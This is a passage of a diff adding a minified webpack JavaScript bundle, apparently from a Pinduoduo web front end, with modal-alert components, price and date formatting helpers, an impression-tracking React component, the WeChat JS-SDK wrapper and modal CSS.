+ AttendanceSignResult: ""attendance_sign_result"" + }, ""ConfirmShipment"", ""confirm_shipment""), + p = {}; + p[u.FCLink] = n(""pfHJ""), + p[u.AlertAppDownload] = n(""c5EO""), + p[u.AlertCouponSend] = n(""UbGT""), + p[u.AlertCouponSendV2] = n(""Bb3D""), + p[l.ConfirmAppDownload] = n(""X3gk""), + p[l.ConfirmAppDownloadV2] = n(""3yit""), + p[l.ConfirmAppUpdate] = n(""mKPX""), + p[l.DefaultV2] = n(""BTIB""), + p[l.ConfirmShipment] = n(""BNiH""), + p[l.Default] = n(""JH3l""); + var d = null; + t.default = function() { + var e = {}, + t = function(t, n) { + var r = p[t.type]; + !e[n] && r || d.show(); + var i = document.createElement(""DIV""); + document.body.appendChild(i), + d = o.a.render(a.a.createElement(r.default, { + opts: t.opts || t.options, + confirmCallback: t.confirmCallback, + cancelCallback: t.cancelCallback, + hideCallback: t.hideCallback + }), i), + e[n] = !0 + }; + return { + load: function(e) { + if (p[(e = e || {}).type]) { + var n = ""jsalert-"" + e.type; + e.isUnique || (n += Date.now()); + var r = function() { + t(e, n), + e.options && s.a.call(e.options.showCallback) + }; + e.options.delayLoad ? e.options.delayLoad(r, n) : r() + } + }, + show: t, + hide: function() {} + } + }() + }, + Vkgz: function(e, t, n) { + ""use strict""; + var r = { + Cent: 100, + Yuan: 1 + }, + a = ""YYYY-M-d h:m""; + + function i(e, t) { + for (var n = (t = t || 2) - (e = (e || """").toString()).length, r = 0; r < n; r++) + e = ""0"" + e; + return e + } + var o = i; + + function s(e) { + e = parseInt(e, 10) || 0; + var t = new Date(1e3 * e); + return { + year: t.getFullYear().toString(), + month: (t.getMonth() + 1).toString(), + date: t.getDate().toString(), + hours: t.getHours().toString(), + minutes: t.getMinutes().toString(), + seconds: t.getSeconds().toString(), + day: t.getDay().toString() + } + } + + function c(e, t) { + return void 0 === t || 0 == +t ? Math.round(e) : (e = +e, + t = +t, + isNaN(e) || ""number"" != typeof t || t % 1 != 0 ? NaN : (e = e.toString().split(""e""), +((e = (e = Math.round(+(e[0] + ""e"" + (e[1] ? +e[1] + t : t)))).toString().split(""e""))[0] + ""e"" + (e[1] ? +e[1] - t : -t)))) + } + t.a = { + leftPad: i, + leftPadZero: o, + price: function(e, t) { + e = parseFloat(e, 10) || 0, (t = t || r.Yuan) === r.Cent && (e /= 100); + var n = (e = e.toString()).indexOf("".""); + if (n >= 0) { + for (var a = (e = e.slice(0, n + 3)).length - 1; + ""0"" === e.charAt(a) && a > 0;) + a--; + ""."" === (e = e.slice(0, a + 1)).charAt(e.length - 1) && (e = e.slice(0, e.length - 1)) + } + return e + }, + sales: function(e) { + if ((e = parseInt(e, 10) || 0) < 9999) + return e.toString(); + if (e <= 99999) { + var t = parseInt(e / 1e3, 10); + return parseInt(t / 10, 10) + ""."" + t % 10 + ""万"" + } + return parseInt(e / 1e4, 10).toString() + ""万"" + }, + discount: function(e) { + return ""0.0"" === (e = (e = parseFloat(e, 10) || 0).toFixed(1)) && (e = ""0.1""), + e + }, + timeParams: s, + formatTime: function(e) { + var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : ""YYYY-MM-dd hh:mm:ss""; + e = parseInt(e, 10); + var n = parseInt(Date.now() / 1e3, 10); + e || (e = n), + e.toString().length - n.toString().length == 3 && (e = parseInt(e / 1e3, 10)); + var r = s(e), + a = { + ""Y+"": r.year, + ""M+"": r.month, + ""d+"": r.date, + ""h+"": r.hours, + ""m+"": r.minutes, + ""s+"": r.seconds + }; + for (var i in a) + if (new RegExp(""("".concat(i, "")"")).test(t)) { + var o = """".concat(a[i]); + RegExp.$1 && (""Y+"" === i ? o = o.substr(o.length - RegExp.$1.length) : RegExp.$1.length > 1 && 1 === o.length && (o = ""0"".concat(o)), + t = t.replace(RegExp.$1, o)) + } + return t + }, + time: function(e, t) { + e || (e = parseInt(Date.now() / 1e3, 10)), + t = t || a; + var n = s(e); + return ""YYYY-MM-dd"" === t ? [n.year, i(n.month), i(n.date)].join(""-"") : ""YYYY.M.d"" === t ? [n.year, n.month, n.date].join(""."") : ""YYYY.MM.dd"" === t ? [n.year, i(n.month), i(n.date)].join(""."") : ""hh:mm"" === t ? [i(n.hours), i(n.minutes)].join("":"") : ""hh"" === t ? i(n.hours) : ""MM-dd hh:mm"" === t ? [ + [i(n.month), i(n.date)].join(""-""), [i(n.hours), i(n.minutes)].join("":"") + ].join("" "") : ""M.d hh:mm"" === t ? [ + [n.month, n.date].join("".""), [i(n.hours), i(n.minutes)].join("":"") + ].join("" "") : ""M月d日"" === t ? n.month + ""月"" + n.date + ""日"" : ""M月d日 hh:mm"" === t ? [i(n.month) + ""月"" + i(n.date) + ""日"", [i(n.hours), i(n.minutes)].join("":"")].join("" "") : ""Y年M月d日 hh:mm"" === t ? [n.year + ""年"" + i(n.month) + ""月"" + i(n.date) + ""日"", [i(n.hours), i(n.minutes)].join("":"")].join("" "") : ""YYYY-MM-dd hh:mm"" === t ? [ + [n.year, i(n.month), i(n.date)].join(""-""), [i(n.hours), i(n.minutes)].join("":"") + ].join("" "") : ""YYYY-MM-dd hh:mm:ss"" === t ? [ + [n.year, i(n.month), i(n.date)].join(""-""), [i(n.hours), i(n.minutes), i(n.seconds)].join("":"") + ].join("" "") : ""YYYY-M-d"" === t ? [n.year, i(n.month), i(n.date)].join(""-"") : ""hh:mm:ss"" === t ? [i(n.hours), i(n.minutes), i(n.seconds)].join("":"") : ""YYYY/M/d"" === t ? [n.year, i(n.month), i(n.date)].join(""/"") : ""MM.dd"" === t ? [i(n.month), i(n.date)].join(""."") : ""Y年M月d日"" === t ? [n.year + ""年"" + n.month + ""月"" + n.date + ""日""].join("""") : ""MM月dd日"" === t ? i(n.month) + ""月"" + i(n.date) + ""日"" : ""YYYY年MM月dd日"" === t ? n.year + ""年"" + i(n.month) + ""月"" + i(n.date) + ""日"" : ""MM月dd日hh:mm:ss"" === t ? i(n.month) + ""月"" + i(n.date) + ""日"" + [i(n.hours), i(n.minutes), i(n.seconds)].join("":"") : [ + [n.year, n.month, n.date].join(""-""), [n.hours, i(n.minutes)].join("":"") + ].join("" "") + }, + timeSpan: function(e, t) { + var n = Math.max(parseInt(t, 10) - parseInt(e, 10), 0); + return n >= 86400 ? Math.floor(n / 86400) + ""天"" : n >= 3600 ? Math.floor(n / 3600) + ""小时"" : n >= 60 ? Math.floor(n / 60) + ""分钟"" : n + ""秒"" + }, + goodsNameWithPrice: function(e, t, n) { + return n ? e : t + ""元 "" + e + }, + toCamel: function(e, t, n) { + e = e || {}, + t = t || Object.keys(e); + var r = ""function"" == typeof n; + return (t || []).forEach(function(t) { + if (e.hasOwnProperty(t)) { + var a = e[t], + i = t.replace(/\_./g, function(e) { + return e.replace(/\_/g, """").toUpperCase() + }); + i !== t && (e[i] = r ? n(a) : a, + delete e[t]) + } + }), + e + }, + round: c, + roundToFixed: function(e, t) { + return c(e, t).toFixed(t) + }, + stringWithEmoji: function(e, t, n) { + if ((t = parseInt(t || 0, 10) || 0) <= 0) + return e; + if (""string"" != typeof e || e.length <= 0) + return """"; + var r = /[\uD800-\uDBFF][\uDC00-\uDFFF]/; + return function e(t) { + if (t.length <= 0) + return []; + var n = t.match(r); + if (!n) + return t.split(""""); + var a = t.slice(0, n.index), + i = n[0], + o = t.slice(n.index).replace(r, """"); + return a.split("""").concat([i], e(o)) + }(e).slice(0, t).join("""") + } + } + }, + X0J6: function(e, t, n) { + ""use strict""; + var r = n(""lwsE""), + a = n.n(r), + i = n(""W8MJ""), + o = n.n(i), + s = n(""a1gu""), + c = n.n(s), + u = n(""Nsbk""), + l = n.n(u), + p = n(""PJYZ""), + d = n.n(p), + h = n(""7W2i""), + f = n.n(h), + m = n(""q1tI""), + g = n.n(m), + v = n(""i8i4""), + _ = n(""Fcpp""), + b = -200, + y = 800, + w = function(e) { + function t(e) { + var n; + return a()(this, t), (n = c()(this, l()(t).call(this, e))).provideOptions = function() { + n.DomNode = Object(v.findDOMNode)(d()(n)), + n.DomNode && n.registerImprToComponent() + }, + n.registerImprToComponent = function() { + var e = n.props, + t = { + threshold: e.threshold, + rootMargin: e.rootMargin, + root: e.root + }; + n.observer = new IntersectionObserver(n.observerCallBack, t), + n.observer.observe(n.DomNode) + }, + n.observerCallBack = function(e, t) { + e.forEach(function(e) { + n.singleTracking(e) + }) + }, + n.singleTracking = function(e) { + var t = n.props, + r = t.onEnter, + a = t.onLeave, + i = t.doImpr; + n.isItemIn(e) ? (i && n.trackingAction(), + r(e)) : a(e) + }, + n.trackingAction = function() { + n.timer && clearTimeout(n.timer), + n.timer = setTimeout(function() { + var e = n.DomNode.getBoundingClientRect().top; + if (!(e < b || e > y)) { + var t = n.props.trackingInfo || {}, + r = n.props.once, + a = Object.assign({ + op: ""impr"" + }, t); + (n.props.logger || _.a).trackingRecord(a, function() { + n.observer && n.DomNode && r && n.observer.unobserve(n.DomNode) + }) + } + }, 300) + }, + n.isItemIn = function(e) { + var t = n.props.threshold; + return e.isIntersecting && e.intersectionRatio >= t + }, + n.observer = null, + n.DomNode = null, + n.timer = null, + n + } + return f()(t, e), + o()(t, [{ + key: ""componentDidMount"", + value: function() { + n(""Wr5T""), + this.provideOptions() + } + }, { + key: ""componentWillUnmount"", + value: function() { + this.observer && this.DomNode && this.observer.unobserve(this.DomNode) + } + }, { + key: ""render"", + value: function() { + return g.a.Children.only(this.props.children) + } + }]), + t + }(m.Component); + w.defaultProps = { + root: null, + doImpr: !0, + isCombined: !1, + threshold: 1, + rootMargin: ""0px"", + gap: 300, + imprItem: {}, + once: !0, + onEnter: function() {}, + onLeave: function() {} + }, + t.a = w + }, + X3gk: function(e, t, n) { + ""use strict""; + n.r(t); + var r = n(""lwsE""), + a = n.n(r), + i = n(""W8MJ""), + o = n.n(i), + s = n(""a1gu""), + c = n.n(s), + u = n(""Nsbk""), + l = n.n(u), + p = n(""7W2i""), + d = n.n(p), + h = n(""q1tI""), + f = n.n(h), + m = function(e) { + function t(e) { + return a()(this, t), + c()(this, l()(t).call(this, e)) + } + return d()(t, e), + o()(t, [{ + key: ""render"", + value: function() { + var e, t = this; + this.props.title && (e = f.a.createElement(""p"", { + className: ""title"" + }, this.props.title)); + var n = []; + return this.props.desc && this.props.desc.forEach(function(e, t) { + n.push(f.a.createElement(""p"", { + className: ""desc"", + key: t + }, e)) + }), + f.a.createElement(""div"", { + style: { + display: this.state.display + }, + className: ""bg-fill app-bg-fill"" + }, f.a.createElement(""div"", { + id: ""confirm-app-download"" + }, f.a.createElement(""div"", { + className: ""detail"" + }, e, n, f.a.createElement(""div"", { + className: ""buttons"" + }, f.a.createElement(""div"", { + className: ""cancel-button"", + onClick: function(e) { + t.clickCancel(e) + } + }, this.props.cancel), f.a.createElement(""div"", { + className: ""confirm-button"", + onClick: function(e) { + t.clickConfirm(e) + } + }, this.props.confirm))))) + } + }]), + t + }(n(""+zrp"").a); + m.defaultProps = { + desc: [""只能在App中使用哦""], + confirm: ""去使用"", + cancel: ""取消"" + }, + t.default = m + }, + XUo1: function(e, t, n) { + ""use strict""; + n.r(t); + var r = n(""lSNA""), + a = n.n(r); + ! function(e, t) { + ""function"" == typeof define && n(""PDX0"") ? define(function() { + return t(e) + }) : t(e, !0) + }(window, function(e, t) { + function n(t, n, r) { + e.WeixinJSBridge ? WeixinJSBridge.invoke(t, i(n), function(e) { + s(t, e, r) + }) : u(t, r) + } + + function r(t, n, r) { + e.WeixinJSBridge ? WeixinJSBridge.on(t, function(e) { + r && r.trigger && r.trigger(e), + s(t, e, n) + }) : u(t, r || n) + } + + function i(e) { + return (e = e || {}).appId = T.appId, + e.verifyAppId = T.appId, + e.verifySignType = ""sha1"", + e.verifyTimestamp = T.timestamp + """", + e.verifyNonceStr = T.nonceStr, + e.verifySignature = T.signature, + e + } + + function o(e) { + return { + timeStamp: e.timestamp + """", + nonceStr: e.nonceStr, + package: e.package, + paySign: e.paySign, + signType: e.signType || ""SHA1"" + } + } + + function s(e, t, n) { + ""openEnterpriseChat"" == e && (t.errCode = t.err_code), + delete t.err_code, + delete t.err_desc, + delete t.err_detail; + var r = t.errMsg; + r || (r = t.err_msg, + delete t.err_msg, + r = function(e, t) { + var n = e, + r = m[n]; + r && (n = r); + var a = ""ok""; + if (t) { + var i = t.indexOf("":""); + ""confirm"" == (a = t.substring(i + 1)) && (a = ""ok""), + ""failed"" == a && (a = ""fail""), -1 != a.indexOf(""failed_"") && (a = a.substring(7)), -1 != a.indexOf(""fail_"") && (a = a.substring(5)), + ""access denied"" != (a = (a = a.replace(/_/g, "" "")).toLowerCase()) && ""no permission to execute"" != a || (a = ""permission denied""), + ""config"" == n && ""function not exist"" == a && (a = ""ok""), + """" == a && (a = ""fail"") + } + return t = n + "":"" + a + }(e, r), + t.errMsg = r), (n = n || {})._complete && (n._complete(t), + delete n._complete), + r = t.errMsg || """", + T.debug && !n.isInnerInvoke && alert(JSON.stringify(t)); + var a = r.indexOf("":""); + switch (r.substring(a + 1)) { + case ""ok"": + n.success && n.success(t); + break; + case ""cancel"": + n.cancel && n.cancel(t); + break; + default: + n.fail && n.fail(t) + } + n.complete && n.complete(t) + } + + function c(e) { + if (e) { + for (var t = 0, n = e.length; t < n; ++t) { + var r = e[t], + a = f[r]; + a && (e[t] = a) + } + return e + } + } + + function u(e, t) { + if (!(!T.debug || t && t.isInnerInvoke)) { + var n = m[e]; + n && (e = n), + t && t._complete && delete t._complete, + console.log('""' + e + '"",', t || """") + } + } + + function l() { + return (new Date).getTime() + } + + function p(t) { + S && (e.WeixinJSBridge ? t() : g.addEventListener && g.addEventListener(""WeixinJSBridgeReady"", t, !1)) + } + + function d() { + P.invoke || (P.invoke = function(t, n, r) { + e.WeixinJSBridge && WeixinJSBridge.invoke(t, i(n), r) + }, + P.on = function(t, n) { + e.WeixinJSBridge && WeixinJSBridge.on(t, n) + } + ) + } + if (!e.jWeixin) { + var h, f = { + config: ""preVerifyJSAPI"", + onMenuShareTimeline: ""menu:share:timeline"", + onMenuShareAppMessage: ""menu:share:appmessage"", + onMenuShareQQ: ""menu:share:qq"", + onMenuShareWeibo: ""menu:share:weiboApp"", + onMenuShareQZone: ""menu:share:QZone"", + previewImage: ""imagePreview"", + getLocation: ""geoLocation"", + openProductSpecificView: ""openProductViewWithPid"", + addCard: ""batchAddCard"", + openCard: ""batchViewCard"", + chooseWXPay: ""getBrandWCPayRequest"", + openEnterpriseRedPacket: ""getRecevieBizHongBaoRequest"", + startSearchBeacons: ""startMonitoringBeacons"", + stopSearchBeacons: ""stopMonitoringBeacons"", + onSearchBeacons: ""onBeaconsInRange"", + consumeAndShareCard: ""consumedShareCard"", + openAddress: ""editAddress"" + }, + m = function() { + var e = {}; + for (var t in f) + e[f[t]] = t; + return e + }(), + g = e.document, + v = g ? g.title : ""拼多多"", + _ = navigator.userAgent.toLowerCase(), + b = navigator.platform.toLowerCase(), + y = !(!b.match(""mac"") && !b.match(""win"")), + w = -1 != _.indexOf(""wxdebugger""), + S = -1 != _.indexOf(""micromessenger""), + C = -1 != _.indexOf(""android""), + A = -1 != _.indexOf(""iphone"") || -1 != _.indexOf(""ipad""), + I = function() { + var e = _.match(/micromessenger\/(\d+\.\d+\.\d+)/) || _.match(/micromessenger\/(\d+\.\d+)/); + return e ? e[1] : """" + }(), + k = { + initStartTime: l(), + initEndTime: 0, + preVerifyStartTime: 0, + preVerifyEndTime: 0 + }, + E = { + version: 1, + appId: """", + initTime: 0, + preVerifyTime: 0, + networkType: """", + isPreVerifyOk: 1, + systemType: A ? 1 : C ? 2 : -1, + clientVersion: I, + url: encodeURIComponent(location.href) + }, + T = {}, + N = { + _completes: [] + }, + x = { + state: 0, + data: {} + }; + p(function() { + k.initEndTime = l() + }); + var O = !1, + D = [], + P = (h = { + config: function(e) { + T = e, + u(""config"", e); + var t = !1 !== T.check; + p(function() { + if (t) + n(f.config, { + verifyJsApiList: c(T.jsApiList) + }, function() { + N._complete = function(e) { + k.preVerifyEndTime = l(), + x.state = 1, + x.data = e + }, + N.success = function(e) { + E.isPreVerifyOk = 0 + }, + N.fail = function(e) { + N._fail ? N._fail(e) : x.state = -1 + }; + var e = N._completes; + return e.push(function() { + ! function(e) { + if (!(y || w || T.debug || I < ""6.0.2"" || E.systemType < 0)) { + var t = new Image; + E.appId = T.appId, + E.initTime = k.initEndTime - k.initStartTime, + E.preVerifyTime = k.preVerifyEndTime - k.preVerifyStartTime, + P.getNetworkType({ + isInnerInvoke: !0, + success: function(e) { + E.networkType = e.networkType; + var n = ""https://open.weixin.qq.com/sdk/report?v="" + E.version + ""&o="" + E.isPreVerifyOk + ""&s="" + E.systemType + ""&c="" + E.clientVersion + ""&a="" + E.appId + ""&n="" + E.networkType + ""&i="" + E.initTime + ""&p="" + E.preVerifyTime + ""&u="" + E.url; + t.src = n + } + }) + } + }() + }), + N.complete = function(t) { + for (var n = 0, r = e.length; n < r; ++n) + e[n](); + N._completes = [] + }, + N + }()), + k.preVerifyStartTime = l(); + else { + x.state = 1; + for (var e = N._completes, r = 0, a = e.length; r < a; ++r) + e[r](); + N._completes = [] + } + }), + d() + }, + ready: function(e) { + 0 != x.state ? e() : (N._completes.push(e), !S && T.debug && e()) + }, + error: function(e) { + I < ""6.0.2"" || (-1 == x.state ? e(x.data) : N._fail = e) + }, + checkJsApi: function(e) { + n(""checkJsApi"", { + jsApiList: c(e.jsApiList) + }, (e._complete = function(e) { + if (C) { + var t = e.checkResult; + t && (e.checkResult = JSON.parse(t)) + } + e = function(e) { + var t = e.checkResult; + for (var n in t) { + var r = m[n]; + r && (t[r] = t[n], + delete t[n]) + } + return e + }(e) + }, + e)) + }, + onMenuShareTimeline: function(e) { + r(f.onMenuShareTimeline, { + complete: function() { + n(""shareTimeline"", { + title: e.title || v, + desc: e.title || v, + img_url: e.imgUrl || """", + link: e.link || location.href, + type: e.type || ""link"", + data_url: e.dataUrl || """" + }, e) + } + }, e) + }, + onMenuShareAppMessage: function(e) { + r(f.onMenuShareAppMessage, { + complete: function(t) { + ""favorite"" === t.scene ? n(""sendAppMessage"", { + title: e.title || v, + desc: e.desc || """", + link: e.link || location.href, + img_url: e.imgUrl || """", + type: e.type || ""link"", + data_url: e.dataUrl || """" + }) : n(""sendAppMessage"", { + title: e.title || v, + desc: e.desc || """", + link: e.link || location.href, + img_url: e.imgUrl || """", + type: e.type || ""link"", + data_url: e.dataUrl || """" + }, e) + } + }, e) + }, + onMenuShareQQ: function(e) { + r(f.onMenuShareQQ, { + complete: function() { + n(""shareQQ"", { + title: e.title || v, + desc: e.desc || """", + img_url: e.imgUrl || """", + link: e.link || location.href + }, e) + } + }, e) + }, + onMenuShareWeibo: function(e) { + r(f.onMenuShareWeibo, { + complete: function() { + n(""shareWeiboApp"", { + title: e.title || v, + desc: e.desc || """", + img_url: e.imgUrl || """", + link: e.link || location.href + }, e) + } + }, e) + }, + onMenuShareQZone: function(e) { + r(f.onMenuShareQZone, { + complete: function() { + n(""shareQZone"", { + title: e.title || v, + desc: e.desc || """", + img_url: e.imgUrl || """", + link: e.link || location.href + }, e) + } + }, e) + }, + startRecord: function(e) { + n(""startRecord"", {}, e) + }, + stopRecord: function(e) { + n(""stopRecord"", {}, e) + }, + onVoiceRecordEnd: function(e) { + r(""onVoiceRecordEnd"", e) + }, + playVoice: function(e) { + n(""playVoice"", { + localId: e.localId + }, e) + }, + pauseVoice: function(e) { + n(""pauseVoice"", { + localId: e.localId + }, e) + }, + stopVoice: function(e) { + n(""stopVoice"", { + localId: e.localId + }, e) + }, + onVoicePlayEnd: function(e) { + r(""onVoicePlayEnd"", e) + }, + uploadVoice: function(e) { + n(""uploadVoice"", { + localId: e.localId, + isShowProgressTips: 0 == e.isShowProgressTips ? 0 : 1 + }, e) + }, + downloadVoice: function(e) { + n(""downloadVoice"", { + serverId: e.serverId, + isShowProgressTips: 0 == e.isShowProgressTips ? 0 : 1 + }, e) + }, + translateVoice: function(e) { + n(""translateVoice"", { + localId: e.localId, + isShowProgressTips: 0 == e.isShowProgressTips ? 0 : 1 + }, e) + }, + chooseImage: function(e) { + n(""chooseImage"", { + scene: ""1|2"", + count: e.count || 9, + sizeType: e.sizeType || [""original"", ""compressed""], + sourceType: e.sourceType || [""album"", ""camera""] + }, (e._complete = function(e) { + if (C) { + var t = e.localIds; + t && (e.localIds = JSON.parse(t)) + } + }, + e)) + }, + getLocation: function(e) {}, + previewImage: function(e) { + n(f.previewImage, { + current: e.current, + urls: e.urls + }, e) + }, + uploadImage: function(e) { + n(""uploadImage"", { + localId: e.localId, + isShowProgressTips: 0 == e.isShowProgressTips ? 0 : 1 + }, e) + }, + downloadImage: function(e) { + n(""downloadImage"", { + serverId: e.serverId, + isShowProgressTips: 0 == e.isShowProgressTips ? 0 : 1 + }, e) + }, + getLocalImgData: function(e) { + !1 === O ? (O = !0, + n(""getLocalImgData"", { + localId: e.localId + }, (e._complete = function(e) { + if (O = !1, + D.length > 0) { + var t = D.shift(); + wx.getLocalImgData(t) + } + }, + e))) : D.push(e) + }, + getNetworkType: function(e) { + n(""getNetworkType"", {}, (e._complete = function(e) { + e = function(e) { + var t = e.errMsg; + e.errMsg = ""getNetworkType:ok""; + var n = e.subtype; + if (delete e.subtype, + n) + e.networkType = n; + else { + var r = t.indexOf("":""), + a = t.substring(r + 1); + switch (a) { + case ""wifi"": + case ""edge"": + case ""wwan"": + e.networkType = a; + break; + default: + e.errMsg = ""getNetworkType:fail"" + } + } + return e + }(e) + }, + e)) + }, + openLocation: function(e) { + n(""openLocation"", { + latitude: e.latitude, + longitude: e.longitude, + name: e.name || """", + address: e.address || """", + scale: e.scale || 28, + infoUrl: e.infoUrl || """" + }, e) + } + }, + a()(h, ""getLocation"", function(e) { + e = e || {}, + n(f.getLocation, { + type: e.type || ""wgs84"" + }, (e._complete = function(e) { + delete e.type + }, + e)) + }), + a()(h, ""hideOptionMenu"", function(e) { + n(""hideOptionMenu"", {}, e) + }), + a()(h, ""showOptionMenu"", function(e) { + n(""showOptionMenu"", {}, e) + }), + a()(h, ""closeWindow"", function(e) { + n(""closeWindow"", {}, e = e || {}) + }), + a()(h, ""hideMenuItems"", function(e) { + n(""hideMenuItems"", { + menuList: e.menuList + }, e) + }), + a()(h, ""showMenuItems"", function(e) { + n(""showMenuItems"", { + menuList: e.menuList + }, e) + }), + a()(h, ""hideAllNonBaseMenuItem"", function(e) { + n(""hideAllNonBaseMenuItem"", {}, e) + }), + a()(h, ""showAllNonBaseMenuItem"", function(e) { + n(""showAllNonBaseMenuItem"", {}, e) + }), + a()(h, ""scanQRCode"", function(e) { + n(""scanQRCode"", { + needResult: (e = e || {}).needResult || 0, + scanType: e.scanType || [""qrCode"", ""barCode""] + }, (e._complete = function(e) { + if (A) { + var t = e.resultStr; + if (t) { + var n = JSON.parse(t); + e.resultStr = n && n.scan_code && n.scan_code.scan_result + } + } + }, + e)) + }), + a()(h, ""openAddress"", function(e) { + n(f.openAddress, {}, (e._complete = function(e) { + e = function(e) { + return e.postalCode = e.addressPostalCode, + delete e.addressPostalCode, + e.provinceName = e.proviceFirstStageName, + delete e.proviceFirstStageName, + e.cityName = e.addressCitySecondStageName, + delete e.addressCitySecondStageName, + e.countryName = e.addressCountiesThirdStageName, + delete e.addressCountiesThirdStageName, + e.detailInfo = e.addressDetailInfo, + delete e.addressDetailInfo, + e + }(e) + }, + e)) + }), + a()(h, ""openProductSpecificView"", function(e) { + n(f.openProductSpecificView, { + pid: e.productId, + view_type: e.viewType || 0, + ext_info: e.extInfo + }, e) + }), + a()(h, ""addCard"", function(e) { + for (var t = e.cardList, r = [], a = 0, i = t.length; a < i; ++a) { + var o = t[a], + s = { + card_id: o.cardId, + card_ext: o.cardExt + }; + r.push(s) + } + n(f.addCard, { + card_list: r + }, (e._complete = function(e) { + var t = e.card_list; + if (t) { + for (var n = 0, r = (t = JSON.parse(t)).length; n < r; ++n) { + var a = t[n]; + a.cardId = a.card_id, + a.cardExt = a.card_ext, + a.isSuccess = !!a.is_succ, + delete a.card_id, + delete a.card_ext, + delete a.is_succ + } + e.cardList = t, + delete e.card_list + } + }, + e)) + }), + a()(h, ""chooseCard"", function(e) { + n(""chooseCard"", { + app_id: T.appId, + location_id: e.shopId || """", + sign_type: e.signType || ""SHA1"", + card_id: e.cardId || """", + card_type: e.cardType || """", + card_sign: e.cardSign, + time_stamp: e.timestamp + """", + nonce_str: e.nonceStr + }, (e._complete = function(e) { + e.cardList = e.choose_card_info, + delete e.choose_card_info + }, + e)) + }), + a()(h, ""openCard"", function(e) { + for (var t = e.cardList, r = [], a = 0, i = t.length; a < i; ++a) { + var o = t[a], + s = { + card_id: o.cardId, + code: o.code + }; + r.push(s) + } + n(f.openCard, { + card_list: r + }, e) + }), + a()(h, ""consumeAndShareCard"", function(e) { + n(f.consumeAndShareCard, { + consumedCardId: e.cardId, + consumedCode: e.code + }, e) + }), + a()(h, ""chooseWXPay"", function(e) { + n(f.chooseWXPay, o(e), e) + }), + a()(h, ""openEnterpriseRedPacket"", function(e) { + n(f.openEnterpriseRedPacket, o(e), e) + }), + a()(h, ""startSearchBeacons"", function(e) { + n(f.startSearchBeacons, { + ticket: e.ticket + }, e) + }), + a()(h, ""stopSearchBeacons"", function(e) { + n(f.stopSearchBeacons, {}, e) + }), + a()(h, ""onSearchBeacons"", function(e) { + r(f.onSearchBeacons, e) + }), + a()(h, ""openEnterpriseChat"", function(e) { + n(""openEnterpriseChat"", { + useridlist: e.userIds, + chatname: e.groupName + }, e) + }), + a()(h, ""launchMiniProgram"", function(e) { + n(""launchMiniProgram"", { + targetAppId: e.targetAppId, + path: function(e) { + if (""string"" == typeof e && e.length > 0) { + var t = e.split(""?"")[0], + n = e.split(""?"")[1]; + return t += "".html"", + void 0 !== n ? t + ""?"" + n : t + } + }(e.path), + envVersion: e.envVersion + }, e) + }), + a()(h, ""miniProgram"", { + navigateBack: function(e) { + e = e || {}, + p(function() { + n(""invokeMiniProgramAPI"", { + name: ""navigateBack"", + arg: { + delta: e.delta || 1 + } + }, e) + }) + }, + navigateTo: function(e) { + p(function() { + n(""invokeMiniProgramAPI"", { + name: ""navigateTo"", + arg: { + url: e.url + } + }, e) + }) + }, + redirectTo: function(e) { + p(function() { + n(""invokeMiniProgramAPI"", { + name: ""redirectTo"", + arg: { + url: e.url + } + }, e) + }) + }, + switchTab: function(e) { + p(function() { + n(""invokeMiniProgramAPI"", { + name: ""switchTab"", + arg: { + url: e.url + } + }, e) + }) + }, + reLaunch: function(e) { + p(function() { + n(""invokeMiniProgramAPI"", { + name: ""reLaunch"", + arg: { + url: e.url + } + }, e) + }) + }, + postMessage: function(e) { + p(function() { + n(""invokeMiniProgramAPI"", { + name: ""postMessage"", + arg: e.data || {} + }, e) + }) + }, + getEnv: function(t) { + p(function() { + t({ + miniprogram: ""miniprogram"" === e.__wxjs_environment + }) + }) + } + }), + h), + R = 1, + M = {}; + return g.addEventListener(""error"", function(e) { + if (!C) { + var t = e.target, + n = t.tagName, + r = t.src; + if ((""IMG"" == n || ""VIDEO"" == n || ""AUDIO"" == n || ""SOURCE"" == n) && -1 != r.indexOf(""wxlocalresource://"")) { + e.preventDefault(), + e.stopPropagation(); + var a = t[""wx-id""]; + if (a || (a = R++, + t[""wx-id""] = a), + M[a]) + return; + M[a] = !0, + wx.ready(function() { + wx.getLocalImgData({ + localId: r, + success: function(e) { + t.src = e.localData + } + }) + }) + } + } + }, !0), + g.addEventListener(""load"", function(e) { + if (!C) { + var t = e.target, + n = t.tagName; + if (t.src, + ""IMG"" == n || ""VIDEO"" == n || ""AUDIO"" == n || ""SOURCE"" == n) { + var r = t[""wx-id""]; + r && (M[r] = !1) + } + } + }, !0), + P && (e.wx = e.jWeixin = P), + P + } + }) + }, + YjY0: function(e, t, n) { + (e.exports = n(""I1BE"")(!1)).push([e.i, ""@charset \""UTF-8\"";\n\n/**\r\n * base.scss, 一些公共的代码\r\n * @author fushi(fushi@yiran.com)\r\n */\n\n/**\r\n * base variable\r\n */\n\n/**\r\n * function 区域\r\n */\n\n/**\r\n * mixin 区域\r\n */\n\n/**\r\n * 父元素必须是position: relative\r\n */\n\n/**\r\n * 字体icon\r\n */\n\n/**\r\n * flex 布局\r\n */\n\n/**\r\n * extend区域\r\n */\n\n/**\r\n * @file variables.scss, 相关的变量\r\n * @author fushi(fushi@yiran.com)\r\n */\n\n/**\r\n * @file border1px.scss, 1px在devicePixelRatio>2的方案\r\n * @author fushi(fushi@yiran.com)\r\n */\n\n/*原来的逻辑*/\n\n/*\n* 注意:需要按钮是position(absolute,relative)定位的,按钮没有宽高的,可能会出bug.\n* 按钮before已经有样式的就用data-active=after-{type},after同理。\n* eg:
    button
    \n* https://jira2.corp.yiran.com/browse/PDD-10191\n* 红色按钮 highlight状态增加 #000000 15%\n* 白色按钮 highlight状态增加 #000000 5%\n* 红色线框按钮 highlight状态增加 #E02E24 5%\n*/\n\n.modal-popup {\n position: fixed;\n top: 0;\n left: 0;\n right: 0;\n bottom: 0;\n z-index: 10000;\n}\n\n.modal-popup .modal-popup-content {\n position: absolute;\n z-index: 10;\n top: 0;\n left: 0;\n right: 0;\n bottom: 64px;\n display: -webkit-box;\n display: flex;\n display: -webkit-flex;\n -webkit-box-pack: center;\n justify-content: center;\n -webkit-justify-content: center;\n -webkit-box-align: center;\n align-items: center;\n -webkit-align-items: center;\n -webkit-box-orient: horizontal;\n -webkit-box-direction: normal;\n flex-direction: row;\n -webkit-flex-direction: row;\n pointer-events: none;\n}\n\n.modal-popup .modal-popup-content > * {\n pointer-events: auto;\n}\n\n.modal-popup .modal-popup-content.content-wechat-bottom {\n display: -webkit-box;\n display: flex;\n display: -webkit-flex;\n -webkit-box-pack: center;\n justify-content: 